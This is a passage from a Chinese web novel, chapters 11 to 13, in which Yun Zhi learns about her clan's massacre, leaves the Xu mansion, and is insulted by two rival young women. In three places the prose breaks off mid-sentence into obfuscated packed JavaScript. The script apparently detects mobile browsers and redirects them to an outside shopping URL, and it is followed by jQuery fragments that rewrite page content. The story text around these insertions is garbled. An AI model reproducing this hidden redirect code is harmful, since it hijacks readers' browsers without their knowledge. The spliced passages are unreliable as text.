“沈青。” 沈青正胡乱想着,突然听到谢凛叫他,心里一惊,面色不由得一肃,“主子。” “今日起,你便守着她,寸步不离。”谢凛声音低沉,眸子里有光闪烁,“一定,要保证她的安全。” “主子,让沈玄守着吧,”沈青自然明白谢凛口中的她是谁,对着谢凛的背影一拱手,“衙门里的事沈玄不熟,还有重查京城云家……” “京城云家的事,我亲自查。”谢凛一顿,“你的身手,我放心。” 沈青默了默,便将后面的话咽了下去,“是!” 谢凛的手攥着,复又松开,指尖忍不住拂过掌心同心符的位置。 已经五日,他还是无法相信,他的昭昭,真的回来了。 每日醒来,他都忍不住问自己,那日发生的一切,究竟是真实的,还是他执念成魔的梦境。 巨大的喜悦,小心翼翼却不敢靠近、不敢求证的煎熬,一刻不停地撕扯着他。 只有靠近昭昭一点,哪怕只是站在这里,什么都不做,内心才能得到片刻安宁。 失而复得,故而患得患失。 昭昭,真的是昭昭。 他的昭昭,真的回来了。 无论你为何变成如今的模样,为何故意不认我,都不重要。 你要的,我定全部给你。 你想做的,我定为你做到。 哪怕拼尽我所有。 只要你平安无事,就好。 … 次日一早,云织才刚刚用过早饭,许衡奕便急匆匆来了。 “云织,你好些了吗?” 才一进了屋,许衡奕就立刻凑了过来。 他穿了一身鼠灰色衣裳,依旧是一派倜傥公子的模样,但脸上却是难得的正经与严肃。 “这几日阿璧拦着,谁都不让进,可把祖母我们担心坏了。”许衡奕顿了顿,仔细看着云织的面色,“这脸色看着还是有些苍白,得让厨房再多炖些补品来才行。” 许衡奕说着,便扭头叫人,“秋兰!” 云织听见许衡奕提起补品,瞬间便想到这几日被阿璧逼着吞下去的无数汤汤水水,忍不住便是一阵心惊,“许公子,不用了。” 怕许衡奕以为她是在客气,云织便加重语气又重复了一句,“是真的不用,那些补品于我无益,我养养便会好的。” 许衡奕见云织神色认真,沉默了一瞬,终于在椅子上坐了下来。 “云织,这几日你休养着,这些话我没机会说,”许衡奕抬眸,面色极认真,“谢谢你。” “我替许府,替祖母,替父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481468|201766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲,柳姨娘,也替……四妹妹,谢谢你。” “我原本从不信鬼神玄术之说,但你让我明白,人外有人,之前,是我目光太过短浅。” 许衡奕顿了顿。 想到那夜云织于月下织魂、犹如神女亲临的一幕,现在他仍是难以置信。 他虽没看亲眼到四妹妹的魂魄,但四妹妹走前说的话,他真真切切地听到了。 祖母,柳姨娘,还有那沈慕白,都听到了。 那晚之后,府中上下真的再没有梦到过四妹妹。 可见她是真的了了执念,已入轮回。 “祖母说,你帮了府上这么大的忙,耗了许多的精力心血,应该好好感谢你,宅子,首饰,银钱,都要送,还要多多地送。”许衡奕继续道。 “还说要将你收入许府,日后定会将你当做亲孙女一样看待。” “但我知道,你不在意这些。” 许衡奕看着云织,眸色清明,“你说过,你来京城,有你的事要做。入许府,也是各取所需。” “不论你要做的事是什么,也不论你是因为什么要入许家,我许衡奕只有一句话。” “在我有生之年,只要你想,便拿许府当做自己的家一般。” “只要你有需要,我定会尽我全力庇护你。” “此誓天地鬼神共鉴,若我有一日违背此言,必然天诛地灭。” 云织看着面色诚挚的许衡奕,面上还是淡淡的,心里却是不由得泛起阵阵暖意。 她入许府,是处心积虑,是满心算计,他都知道。 可他却愿意报以一腔赤诚。 “此誓便不必了。既然我入了许府,日后,自然是需要仰仗你照拂的,”云织神情如常,但声音里却不由得带出一丝柔软,“表兄。” “我的能耐,表兄也已见过了,若是日后表兄有所亏待,我自然有法子让表兄无法安枕。” 许衡奕听云织称他表兄,先是一愣,瞬而便转为笑声朗朗。 “你既终于肯诚心叫我一句表兄,我做兄长的,自然不能委屈了你!” 玩笑作罢,便入正题。 “你要打听的云清川,是京城云家的人。”许衡奕看着云织道。 “京城云家,与原本凤梧山避世的云家一脉同枝,说起来,原本是云氏正统。” “云清川的父亲云归远,便是云家上一任家主,云子安的独子。” “但云家传承向来看重玄术天赋而非血脉,到了云归远这一代,因其爱徒云羿天资卓绝,远超云归远及其他弟子,云子安便将家主之位传给了云羿。” 云织面色不变,心中却是一动。 原来父亲的家主之位,是这样来的。 “自那之后,云归远便自云氏分了出来,在京城定居。” “虽然他玄术天资一般,离族之后再未以玄术为业,但靠着开药房在京中立了足,家境倒也殷实。” “云归远在京中立足后,生了一子一女,长子便是云清川,女儿名为云妍初。” “虽然云归远离开了云家,但其与凤梧山云家之间的关系,一直是不错的。” “这些都不是什么重要的,”许衡奕见云织听得认真,顿了顿,继续道,“关于云家,有两点特别。” “什么特别?”云织问。 “其一,云归远的同胞妹妹,也就是云家上任家主云子安的女儿,名为云娴,于永昌十二年入了宫,成为了当今圣上的妃子,育有一女长平公主,如今已是云妃。” 当今皇帝的妃子? 云织闻言,手不由得紧了紧。 “其二,约两月前,大梁发生了一起震惊世人的灭门案,”许衡奕不动声色观察着云织的表情,“在那场惨案中,凤梧山的云羿一族……尽数被害,而云归远也于那日起失踪了,后来再未出现过。” 同一日失踪? 云织不由得想起幻境中见到的,云清川立在崖上的那一幕。 所以,云家的灭门案,与云归远、云清川父子脱不了干系。 而云家灭门后,当今皇帝便开始大肆搜捕玄师,或许,与宫中的那位云妃,也有关。 至今两月,终于获得了明明白白的线索,云织一时不知是高兴还是难过。 幻境中,她称云归远云伯伯,称云清川清川哥哥。 可见许衡奕所言不假,云归远、云清川父子,与她们一家的关系是极为亲近的。 若是云家的灭门,真的与他们有关…… 云织眸底渐渐浸满冰霜。 “云织,你实话告诉我,”许衡奕显然注意到了云织眼底升腾的冷意,面色肃然,“你,是不是凤梧山云家的人?” 11. 我等得起 许衡奕的问话,犹如石落深潭,在云织心内荡起了一阵涟漪。 云织抬眸看着他,却并未回答。 她知道,无论是她的姓氏,还是她托他打听云清川,许衡奕很容易便能猜到,她与凤梧山云家有关。 原本她并不在意,但此刻却很后悔。 她错了。 当日她不该一时心急,托许衡奕打听云清川。 既然云家的灭门案可能与皇权后宫有所牵扯,她便不该让许衡奕身涉其中。 “许衡奕,有些事,你还是不要知道的好。”云织直呼其名,眸色是前所未有的严肃,“以免……” “以免惹祸上身,对不对?”许衡奕不待云织说完,便接过话,“这话你早便已经说过了!” “你还真是和阿凛一样,一提到凤梧山云家,便是不能说,不可说。” “行,你不想说,本公子便不问了,免得强人所难。”许衡奕挑了挑眉,语气里故意带出一丝受伤。 云织却根本没有注意到他的这丝情绪。 她望着许衡奕,眸色复杂,“谢大人,与凤梧山,云家有关?” 许衡奕面上的忿忿之色一滞,声音也沉下来。 “阿凛与云家的关系少有人知道,我原本不该说的。”许衡奕皱了皱眉,将心底的那丝为难压了下去。 但……既然云织可能与凤梧山云家有关,那么,便也不算外人吧? 话既开了头,自然而然便接了下去。 “谢伯伯与云家家主云羿曾是至交,所以阿凛与云家的云昭月小姐自幼便相识,算是青梅竹马。” “云家被害之前,阿凛刚好随谢伯伯去了边境战场。原本阿凛都计划好了,待一回京,便上门提亲的。” “可,谁能料到,竟发生了这样的事。” 许衡奕目光微垂,透出浓重的伤感,“阿凛在战场上受了重伤,听闻云家的事后,顾不上养伤便急奔回京,马都跑死了三匹。” “他像疯了一样,在凤梧山不眠不休、一寸一寸地找,找了三天三夜,谁都劝不住,直到实在支撑不住才倒下,可最终也没有找到云小姐。” “生不见人,死不见尸。” 莫名的情绪逐渐涌上云织的内心,她呼吸一窒。 “竟还有这样的事?”阿璧不知什么时候走了进来,接过了话,“那云家真是太惨了,到底是什么样的畜生,做下这样的恶!” “不过,”阿璧挑了挑眉,“以谢大人这样的身份,之前与人定了亲定然是人尽皆知的,怎么从没听人提起过呢!” “这个问题,便很复杂了。”许衡奕道。 “谢伯伯与云家主是偶然相识的,没想到却一见如故,成了知己。” “因他们一个是谢家军主帅,国之栋梁,一个是玄术大师,占星卜卦极为厉害,他们走得近了,便会牵扯许多朝堂上的东西。” “所以两家相交,从来都是私下里的,以免引起有心人的注意。”许衡奕道。 “原本谢伯父是打算,待那一战得胜归来,便借着战功向当今圣上讨个赐婚的圣旨,可是,却晚了一步。” “事发至今,阿凛一直在暗中调查云家的案子,寻找云昭月小姐的下落,从没有放弃过。” “他如今执掌京畿卫,其实也是为了方便调查此事,才特意求了当今圣上的。” “哦,原来是这样,”阿璧挑了挑眉,大有深意地看着云织,“这么说起来,这谢大人倒是个难得的有情有义的人呢。” 云织紧紧攥着手心,却没有抬头。 “阿凛虽然性子冷,看着不好相处,但重情重义,对云家小姐更是用情至深。”许衡奕道。 “京城云家,他早在云家出事后便暗中查过了,但一直也没有发现云归远的踪迹,更是没有查到什么有用线索。” “因着我与阿凛从小玩到大的关系,这些事他虽不主动说,但我也了解一二。” 听完许衡奕一番话,云织半晌无言。 她心底已被各种情绪塞满,酸的,涩的,还有一丝丝无法抑制、让她很是陌生的甜。 原来,竟是这样。 他为了她,不顾受了重伤,昼夜不停奔袭而归,搜遍了整个凤梧山。 也是为了她,掌京畿卫,从未放弃过寻找,一直调查云家案子的真相。 他在她看不到的地方做了这么多,可她却一直认为,他与云家灭门有关。 怀疑他,试探他,有意接近他。 云织攥紧了手心,一股无法言说的情绪自心底升腾而起,瞬间将她淹没。 许衡奕看了看沉默不语、暗自出神的云织,又看了看一脸“别看我、我什么都不知道”的阿璧,心底蓦地冒起了一个极其荒谬的念头。 云织,会不会就是云家那位杳无所踪的云昭月? 念及至此,许衡奕被自己的念头吓了一跳,随即便立刻自我否决了。 不可能。 如果云织真的是云昭月,那么阿凛不可能认不出她。 况且,当日他们在花园遇上之时,阿凛还曾因为怀疑云织的身份,私下里调查过她。 若云织是云昭月,阿凛怕是立刻将人护住还来不及,怎么可能会如此对她? 许衡奕暗暗点了点头,觉得自己方才的想法真是荒谬至极。 一定是最近受的刺激太多了! 话已说完,许衡奕便起身告辞。 在走出门前,他停了一瞬,还是转过身,看向云织。 “云织,其实我能感觉到,有些事,四妹妹应该没有说。” “但,既然她不想说,那便罢了,”许衡奕微微垂着头,笑了笑,“只要结果如她所愿,那便好。” 话音才落,许衡奕又抬起头,认真地看着云织。 “就像你,不论你是谁,藏了什么秘密,只要你所求都能如愿,就好。” 云织不由得抬眸看着许衡奕。 她第一次觉得,这人潇洒浪荡的外表下,其实藏了一颗极细腻,极柔软的心。 … 栖竹苑。 “说吧。”午后,阿璧抱着手臂,看着云织微皱着眉,将一碗补药一点点喝下去,这才道。 云织抬眼,一脸的不明所以,“说什么?” “说你对那位谢大人,如今怎么打算。”阿璧看着云织道。 “既然他与云家的案子没关系,且重情重义并没有负你,一直在寻找你的下落,那么你打算什么时候坦白你的身份?” 云织默了默,不由得攥紧了手中的调羹。 “阿璧,我不打算告诉他。”半晌之后,云织才抬头道。 “为什么?” 阿璧一脸困惑,“按许衡奕说的,谢凛一直在找你,且也在调查云家的案子,若你对他坦白,岂不是多一份助力,我们查起来,也更快一些啊。” “我知道,你现在并没有恢复全部的记忆,但既然你的同心符有反应,便是说你对他并非全无感情。” “那些记忆,你总会慢慢想起来的。既然如此,为何不早点相认,可能记起的还会更快些。” “虽说你现在样貌不同了,但以他对你的情义,必然也不会在意。” “阿璧,我现在只想查出云家灭门的真相,其他的,我什么都不想去想。”云织低声道。 “至于借他的力调查云家的案子,我曾想过的,但现在,我不想了。” 她的确曾想过的。 若谢凛真的与云家灭门有关,那么便是粉身碎骨,她也要让他为云家四十余口陪葬。 若他与云家灭门无关,但他与曾经的云昭月两情相悦,如今却面对云家的灭门之仇却无动于衷、明哲保身,借他的手去调查或是去复仇,也未尝不可。 偏偏他两者都不是。 所以现在,她不想了。 为了云家,为了她,谢凛已经付出了那么多,她有何立场,要求他做的更多? 况且,云家的案子如今与朝廷权势有了牵扯,许家她尚且不想连累,又怎么会安心让他涉险? 阿璧看着云织的模样,显然也明白了她的想法。 “也好,不认便不认,我也担心万一你认了他,就不要我了呢。”阿璧挑着眉,半开玩笑地道。 她不觉得借助谢凛的权利有什么错,但既然云织不想,那便不做。 “只是啊,织织,依我看,以那位谢大人现在对你的在意,未必没有认出你呢。” 云织闻言不由得心里一跳,手微微攥紧。 手心处的同心符,像是在微微发烫。 那温度顺着掌心处逐渐蔓延开来,让她的心一时繁乱难抑。 与此同时。 离许府不远处的酒肆。 “说吧。”谢凛看着被沈青半押过来、一脸不明所以的许衡奕,面无表情地道。 “说什么?” 许衡奕一脸的莫名其妙,“你小子抽的什么风?” “要找我喝酒就直说,干什么让沈青这样押着我来,本少爷不要脸面的吗!” “云织。”谢凛的眸中看不出半点情绪,言简意赅。 说完,怕许衡奕不明白,于是又补上了一句:“那日,她在兰蕙苑,做了什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半个时辰之后。 桌上的酒菜未动一口,房间里的气氛冷肃如冰。 “事情就是这样,都告诉你了,”许衡奕将云织如何找上许家,如何为许菀织魂,且托他打听云清川的事吐了个干干净净,此刻满脸的气馁。 “但,阿凛,我总觉得,云织似乎与……凤梧山的云家有些关系,所以才对云家的案子这么在意。” “你能不能,看在她也姓云,可能与凤梧山云家有关的份上,将她会织魂的事瞒下来,不要叫人发现了?” “不管她原本的身份是谁,她现在可是我表妹,是我许家的人。” “我答应过她的,要一世护她周全。” 许衡奕面色认真,可这份真诚看在谢凛的眼中,却莫名很是刺眼。 许家的人? 护她周全? “她的周全,不用你来护,”谢凛冷冷地开口,“你也护不住。” 他的昭昭,他自会守护。 许衡奕看着谢凛,不由得皱起眉头。 他什么意思? 不用我来护,也护不住? 本公子怎么护不住? “沈青,送许大公子回去。”不待他再问,谢凛便冷冷地吩咐道。 “是!” 沈青上前,又扣住许衡奕的胳膊,将人半拉半拽带了起来。 “姓谢的!你什么意思!”许衡奕被沈青拉着,动弹不得,气的脸涨得通红,“小爷我还一口酒都没喝!你是不是人!” 沈青带着许衡奕离开,许衡奕的叫骂声渐渐远去。 谢凛坐在桌前,久久未动。 织魂。 他的昭昭,现在竟与云伯父一样,是极厉害的玄师了。 只是这样的玄术,他却从未听过,也并不像是云家会用的术法。 这织魂术,昭昭是从何学来的? 她失踪了的这两个月,究竟经历了什么? 谢凛抬起手,抚摸着掌心同心符的位置。 熟悉的温度自掌心泛开,让他那浑浑噩噩冷寂了两个月的心,逐渐地、一寸一寸地暖了。 昭昭,可是你也在想我? 那日,你的同心符有反应,可是说明,你心中仍旧有我? 昭昭,不论你要做什么,便只管去做。 若你现在还不想与我相认,那便不认。 无论需要多久,我等得起。 12. 自作多情 不能出门的日子,平淡如流水。 云织被阿璧又拘在屋中休养了几日,确认她彻底无碍之后,才终于被允许出门。 出于礼数,云织先去松延苑,拜见了许老太太。 “云织小姐来了!” 云织与阿璧才一进院门,许妈远远看到云织,立刻便是满面喜色。 “云织小姐,快请进,老夫人方才还在念叨,不知道您身体恢复的如何了,您这下就来了。” 云织淡淡点头,“许妈。” 许妈了解云织的性子,倒也不觉得她冷淡,便笑着将人让进了屋里。 “老夫人,太太,三小姐,是云织小姐来了!” 云织进了门,抬眼看去,屋内的软榻上一侧坐着许老夫人,另一侧坐着一名中年妇人,妇人身后,则站着一名少女。 见云织进屋,那妇人便站起身来。 “云织丫头,你怎么来了!身子怎么样,可好些了?”许老夫人看着云织,满脸温和的笑意。 云织对这声热络的“丫头”微怔了一瞬,才应道:“多谢祖母惦记,云织已经全好了。” 那妇人等许老夫人与云织寒暄完了,才淡淡开口,“这位便是云织姑娘?果然生的花容月貌,气质不凡。” 云织抬眸看过去。 妇人一套青绿色圆领织锦衣裙,发间与耳上、腕上缀了翡翠,清雅大方,既显富贵,却又不会落于庸俗。 夫人身后的少女则是一套缕金百蝶穿花云缎裙,满头珠翠,一看便知不是凡品。虽然衬得少女富贵逼人,但却也少了少女的灵动活泼。 看穿戴气度,这妇人定是许豫的正妻,也就是许衡奕的母亲赵氏了。 这位少女,应该是许衡奕提过的同胞妹妹,许姝。 “这位是你的大舅母,和你三姐姐许姝。”许老太太笑着开口道。 “舅母,三姐姐。”云织微微俯身行礼。 “云织丫头自打进了府,就身子不太好,所以一直没有去见你,你不要见怪。”待云织落了座,许老太太侧过头,对着赵氏道。 “儿媳不敢。云织姑娘既然身体不好,自然应该多加休息,不必在意那些虚礼。”赵氏依然淡淡的,不卑不亢。 云织看着赵氏举止端庄的模样,心里却忍不住好奇。 以赵氏这样的性子,为何教养出的儿子,性子却那样跳脱? 忽地,云织感觉到一道目光正直直看向她,便抬眸看过去。 站在赵氏身后的许姝毫不避讳地直视她,见云织望过来,许姝眼底流露出一丝不屑,便移开了视线。 云织微微皱眉。 她与这位三小姐素未谋面,这份来者不善,却是为何? “你哥整天的在外面乱跑,没个正形,也不知道是在忙些什么。”思索间,云织听见许老太太对着许姝道。 “谁知道他整天在忙什么,可能是看上了哪家的姑娘,整日忙着献殷勤呢。”许姝面上带着娇软的笑意,半开玩笑地道。 许姝说完,还略带深意地看了云织一眼。 云织眉目不动,却隐隐明白了许姝那莫名其妙的敌意从何而来。 她心内不由觉得好笑,却在微微抬眸间,眼角余光扫到赵氏。 赵氏依旧坐的端庄,可却在许姝提到许衡奕时,眼底的笑意明显淡了一瞬。 那抹冷意被她掩饰得很好,只有片刻便消失不见了。 云织一愣。 许衡奕和他母亲的关系,不好吗? 还是,她看错了? 略坐了一会后,云织便起身告辞。 许老太太又是一通嘱咐,要她定要注意调养身子,然后才放她离开。 云织走出门前,感觉到许姝那冷冷的视线一直粘在她的背上,久久未动。 “阿璧,许府,不能再住下去了。”回栖竹苑的路上,云织道。 “为何?”阿璧抱着手臂,“因为方才那个许三小姐?” “你也注意到了?” “自然看到了,她那白眼都恨不得飞到天上去了!”阿璧冷哼一声,“要不是给许衡奕几分面子,我方才就动手帮她治一治眼睛了!” 云织被阿璧的话逗得忍不住一笑。 “不是因为她。” “而是,接下来我们要做的事,不适合再倚靠着许家了。” 原本入许府、替许菀织魂,是为了接近谢凛,查清他是否与云家的案子有关。 如今再待下去,已然没有必要。 她继续待在许家,日后调查云归远与云清川,难免掣肘,更是可能会将许家拖入权谋争斗之中。 “好啊,不住就不住,”阿璧明白了云织的意思,满不在乎,“刚好我也住的有点腻了。” “我明日便出去逛逛,看是不是有合适的。” 阿璧转头看向云织,“织织,你对宅子有什么要求吗?” “不用太大,僻静就好,”云织顿了顿,眸底染上了一丝寒意。 “但,一定要离京城云家近一些,越近越好。” … 次日。 才过了午后,云织没等来出去寻找宅子的阿璧,却等来了许衡奕。 一向风度翩翩的公子哥风风火火地一路闯进来,将正在洒扫的秋兰吓了一跳。“大公子,您……” “云织!” 许衡奕一路闯进内屋,见到正坐在案前写字的云织便直冲过来,一脸的怒气。 “你要搬出去?是真的吗?” 云织微微一怔。“你是怎么知道的?” “你不用管我是怎么知道的!”许衡奕听了云织所言,脸色更冷,“所以说,就是真的了!” “那你倒是说说,为何要搬出去!” “我不是才说过,许府你可以永远住下去,况且,你不是才叫了我表兄么!” 云织微微攥了攥手心。 她自然知道,许衡奕是真心想要留她在府上,庇护她的。 可越是这样,她便越是不能将他拖入这一滩浑水。 “我不是也说过,我有我的事要做。”云织面色冷了几分,淡淡道。 “我当日入许府的时候便说过,我要做什么,不能过问,不可阻拦。” 云织抬眼,眸色锐利看向许衡奕,“许大公子可是觉得,我叫了你一声表兄,许大公子便可以随意打破这规矩,与旁人不同了?” 许衡奕看着云织的样子先是一愣,而后便更是愤怒。 “好!倒是我自作多情了!谁要管你!”许衡奕脸色涨得通红,眼也是红的。 “既然你要搬走,那便搬走好了,我倒更省心!” 话音一落,便头也不回地转身冲了出去。 秋兰吓得大气也不敢喘,忙端起手中的木盆,关了门跑了出去。 云织攥着手中的笔,一动不动。 心底的愧疚汹涌着,一波又一波地涌上来,将她整个淹没。 “对不起。” 半晌之后,她才终于低下头,轻轻地道。 原本云织以为,许衡奕生了好大的气,定不会再理她,却不想才不过一个时辰,这人便又风风火火地冲了进来。 正在做事的秋兰又被许衡奕吓了一跳,但这次却鼓起勇气,拦在了他面前:“大……大公子,小姐她身子才好,您……您别这样与小姐吵……” “秋兰,没事。”云织抬眸,淡淡道。 秋兰听云织这样说,不敢抬头看向许衡奕,忙低着头退了出去。 “这丫头对你倒是忠心!也不知道她到底是谁家的丫鬟!”许衡奕瞥了一眼秋兰的背影,忿忿道。 “许大公子,还有话要说?” 对于许衡奕的去而复返,云织是惊讶的,却仍故作平静。 “宅子找好了,我和阿璧已经去看过,很不错。”许衡奕背着手,故意不看云织。 “这两日稍加修整,再增加一些用具,你们就可以搬过去了。” 许衡奕转身,伸手将一张纸放在云织的案上,“喏,这是地契。” “找好了?”云织这次是真的惊讶了。 如此之快不说,阿璧竟也一同去看过? “本少爷做事,自然利落!” 许衡奕看着云织面上的惊讶,忍不住哼了一声,“你怕不是忘了我许府是做什么的,这京城里,有本少爷不熟悉的宅子吗?” 见云织眉头微皱,猜到她要拒绝,许衡奕立刻一抬手:“别说你不要!” “原本你了了四妹妹的执念,祖母便说要送你宅子店铺什么的,如今也算是拿了你应得的。” “虽然宅子不大,但好在幽静雅致,地段也算不错。” “秋兰与秋竹你都用惯了,等你搬过去,她们便也跟着你过去,”许衡奕并未察觉到云织的异样,继续道,“我看那两个丫头对你挺忠心的,人都还不错。” “祖母这边,你也不必担心,我会和她说的。” 云织看着许衡奕仍故意冷着脸的样子,一时不知道要说什么,只觉得一颗心像是被浸在温水里一般。 很暖。 “还有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481470|201766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然你和阿璧要搬出去,身份便不能像住在府上时那么随意了。”许衡奕突然想到了什么,又继续道。 “我已经都打点好了,从今日起,你就是实实在在的祖母母家远方亲戚——云织,你的身份,便是任何人查,也发现不了半点问题。” “至于你为何不住府里,我也想好了,就说你性子孤僻,不喜欢人多,与府上的人相处不来,所以便自己独住。” 云织闻言,再看向许衡奕时,目光里便多了些什么。 在这么短的时间里找到合适的宅子、买下来,对这位皇商之家的许大公子来说,不难。 但能这么快便安排好她的身份、让人找不出任何破绽,却不是许衡奕能够做到的。 云织脑中不由得浮现出一个身影。 那人身姿落拓,面目冷肃,总是一副拒人于千里之外的气势。 可那对眸子看着她时,却如清霜落松、月华覆雪,分外耀眼。 “就这样,等过几日修整好了,我带你去看。” 许衡奕顿了顿,再看向云织时,眸底已没有了方才故意佯装的怒意。 “云织,你不必故意假装冷漠,将身边的人往外推的。”他认真地看着她,道。 “再冷心冷情的人,身边也可以有朋友,有在意的人,或是在意她的人。” “更何况,你本就不是冷心冷情的人。” 云织垂下眼眸,没有接话,可许衡奕刚才的话却像是熨在了她的心上。 “那宅子,在什么地方?” 她抬眸,语气淡如平常。 …… “阿璧,我们出去转转。” 当晚,用过了晚饭后,云织对阿璧道。 “好。” 两人出了许府,租了一辆马车,便向着新买下的宅子方向而去。 马车上,云织总算了解了今日买宅子一事的来龙去脉。 原来,阿璧满街溜达,到处打听有没有合适的宅子的时候,竟偶然遇到了许衡奕。 许衡奕见她一个人,便问她在做什么,阿璧便直说了。 “谁想到,许大公子的反应那么大,立刻就冷着脸,一言不发地走了。”阿璧耸了耸肩膀,道。 “但过了半个时辰左右,这人又冷着脸回来了,就一句‘我知道有处合适的宅子,跟我走’,我想着,既然有合适的,看看也无妨,就去了。” “不想那宅子果真非常合适,许大公子二话不说,当场就直接付了钱买下来了。” 云织沉默着,没有作声。 “织织,你不用觉得亏欠了他,”阿璧看着云织的表情,就知道她在想什么,“我们帮了许府那么大的忙,本来说要住在许府以作交换的。既然我们不住了,收他一座宅子,也没什么,对不对?” “嗯。”云织点点头。 “但不得不说,许大公子的确厉害,这宅子,确实非常合适。”阿璧掀开车帘,向外看了一眼。 “织织,到了。” 云织眸色转冷,向着马车外看去。 就在路的对面,朱门高墙,碧瓦深院。 而高大的正门前,匾额上“云府”两个苍劲的大字,分外刺眼。 “这里就是云府,”阿璧凑过来,压低声音,“我们买下的那座宅子,就在前面,拐个弯就到了。” 云府。 云清川。 那人在幻境中笑容温润,唤她昭昭的模样犹在眼前。 云织的手不由得攥紧。 离云府不远处的巷子口,两道漆黑的人影正默然而立,远远看着云织所在马车的方向。 “都办妥了?”谢凛望着远处的马车,沉声开口道。 “办妥了,”沈青应声,“沈玄亲自去办的,绝对没有任何纰漏,公子放心。” 谢凛没有再说话,就远远看着那辆马车。 虽然谢凛依然沉默如平常,但沈青却莫名自他沉默的背影中品出一丝不寻常。 公子今天……好像心情很好。 阿璧出门要找宅子,他是第一个知道的。 如今事关云织小姐都是大事,于是他立刻就差人通知了自家主子。 主子的动作也很快。 几乎是许大公子搞定了宅子的同时,主子便搞定了云织小姐的身份。 只是此刻,向来一心做事、从不擅自揣摩主子心思的沈青,有两件事想不通。 其一,云织小姐要搬出许府,许大公子为何那么不高兴? 其二,云织小姐要搬出许府,主子为何这么高兴? 13. 略施惩戒 已经入了十月,天气开始逐渐转凉。 这日一早,云织便带着阿璧出了门。 只是还没等她走出栖竹苑,隔着院墙,便听到女子悄声说话的声音。 云织原本并未在意,却在听到了她的名字的瞬间停住了脚步。 “燕姐姐,那野女人叫云织,就住在这栖竹苑里。”这道声音她听过的,是许姝的声音。 云织眉毛一挑。 野女人? “这人是哪里来的?”另一道女子的声音很是清脆,只是听着冷冷的,带了些怨毒。 “是我祖母远房的一个亲戚,穷酸的很,许是眼红大户人家的生活,所以厚着脸皮赖在我们府上不走。”许姝的声音忿忿道。 “如果只是图些银钱吃喝的,倒也没什么,但她整日缠着我大哥,哄得我大哥团团转。” “燕姐姐,我只认你这一个未来的大嫂,看着她在我哥面前那副装模作样、假装清冷美人的样子,我就替你生气!” 云织恍然。 她总算知道了,那日许姝莫名的敌意是从何而来。 云织身旁的阿璧听到此处,瞬间眉眼一沉,抬手便摸上剑柄。 云织却立即按住她的手,对她微微摇了摇头。 云织眼中的含意,她看懂了。 别让许衡奕为难。 阿璧磨了磨牙,手在剑柄上又攥了攥,才满面寒意地放开。 织织决定搬出许府是对的。 她什么时候让织织受过这种委屈! 若不是她们住在许府,欠了许衡奕的人情,现在她已经将外面那两人的舌头拽出来了,让她们胡乱嚼舌根! 墙外,两人的悄悄话还在继续。 “既然是个无关紧要的人,有什么值得生气的。”那位被许姝称作燕姐姐的女子冷冷道。 “既然是个骚气的,想必是小门小户出身,没见过什么男人。” “哪日给她找上几个男人治一治,她便会学乖了。” 云织的眸色瞬时冷了下来。 原本她并没有如何生气,只是嚼她几句舌根而已。 待她搬出去,与许府的人划清界限,这些莫名其妙的纠葛与敌意自然便会消失。 可方才这位被许姝称为燕姐姐的人,所言可谓是恶毒至极。 能与许姝交好,被她认为是未来大嫂的人,想必家世必然不错。 她想象不到,究竟是怎样的高门,能教养出这样的女子,张口便是这样恶心的话。 墙外的许姝两人又说了两句,脚步声便渐渐远去。 “织织——” 云织侧头,便见到阿璧咬着牙握着剑柄,一对杏眸几乎要喷出火来,整个人都在微微颤抖。 云织瞬间便读懂了阿璧的意思。 “走。”云织轻轻拍了拍阿璧的手,眸色微凉。 阿璧握剑的手微微一动。 以她和云织的亲密,自然也瞬间便明白了云织的意思,暗暗磨了磨牙。 我倒要看看,这位不可一世、心思恶毒的“燕姐姐”是圆的还是扁的! … 许府花园小径,许姝与燕紫鸢正并肩慢行。 “燕姐姐,你难得来一趟,我带你四处转转。” 许姝挽着燕紫鸢的手臂,笑意盈盈,“府上新来了个厨子,做的桂花糕极好,等下燕姐姐尝尝。” “嗯。”燕紫鸢淡淡应了一声,眸子里的不屑一闪而过。 作为户部侍郎燕正的掌上明珠,她燕紫鸢什么好吃的没吃过,会稀罕她一个商贾人家的手艺! 若不是为了许公子,她是断不会踏入这商贾人家半步的。 免得脏了她的绣鞋。 燕紫鸢走着,便想到了方才路过栖竹苑时,许姝提到的那个野女人,眸子里的冷色藏不住。 云织,本小姐记下了。 敢跟本小姐抢男人的,下场都会很惨。 “燕姐姐,我大哥差不多要回府了,”许姝侧头看向燕紫鸢,言笑晏晏,“咱们不如……” 她正说着,却觉得小腿一麻,瞬间失了力气,整个人猛地向前扑去。 “啊——” 许姝毫无防备,结结实实地跌在了地上。 “你怎么回事!”燕紫鸢被许姝吓了一跳,拧着眉刚要说话,却蓦然觉得小腿一麻。 “啊——” 燕紫鸢脚下一崴,身子猛地一歪,也跌了下去。 一切不过发生在瞬间,两个人便跌作一团。 “小姐!” “小姐!” 